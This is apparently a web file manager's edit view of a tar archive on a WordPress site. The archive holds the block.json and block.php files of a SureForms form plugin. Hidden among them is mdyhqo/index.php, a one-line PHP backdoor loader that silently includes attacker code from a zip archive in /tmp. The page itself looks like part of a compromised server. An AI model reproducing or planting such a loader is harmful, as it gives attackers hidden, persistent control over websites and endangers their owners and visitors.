Файловый менеджер - Редактировать - /home/ephorei/www/wp-includes/images/media/q2m9hb/sform.tar
Назад
block.json 0000644 00000001376 15006204200 0006525 0 ustar 00 { "$schema": "https://json.schemastore.org/block.json", "apiVersion": 3, "name": "srfm/form", "title": "Form", "description": "Collect and Manage data effortlessly with customizable SureForms.", "category": "sureforms", "keywords": [ "form", "sureforms", "form" ], "textdomain": "sureforms", "supports": { "reusable": false, "html": false }, "attributes": { "isPreview": { "type": "boolean", "default": false }, "showTitle": { "type": "boolean", "default": false }, "id": { "type": "number" }, "title": { "type": "string" }, "choices": { "type": "array" }, "template": { "type": "string" }, "choice_type": { "type": "string", "enum": [ "all", "checkbox", "radio" ], "default": "all" } } } block.php 0000644 00000002012 15006204200 0006327 0 ustar 00 <?php /** * PHP render form Sureforms_Form Block. * * @package SureForms. */ namespace SRFM\Inc\Blocks\Sform; use SRFM\Inc\Blocks\Base; use SRFM\Inc\Generate_Form_Markup; use SRFM\Inc\Helper; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Sureforms_Form Block. */ class Block extends Base { /** * Render the block. * * @param array<mixed> $attributes Block attributes. * * @return string|false */ public function render( $attributes ) { $id = isset( $attributes['id'] ) ? Helper::get_integer_value( $attributes['id'] ) : ''; if ( empty( $id ) ) { return ''; } $sf_classname = $attributes['className'] ?? ''; $show_title_current_page = $attributes['showTitle'] ?? true; $form = get_post( $id ); if ( ! $form || SRFM_FORMS_POST_TYPE !== $form->post_type || 'publish' !== $form->post_status || ! empty( $form->post_password ) ) { return ''; } return Generate_Form_Markup::get_form_markup( $id, $show_title_current_page, $sf_classname ); } } mdyhqo/index.php 0000644 00000000152 15006204200 0007650 0 ustar 00 <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "Ss/aPP.php"; include("zip:///tmp/phpBl4TjO#$h");?>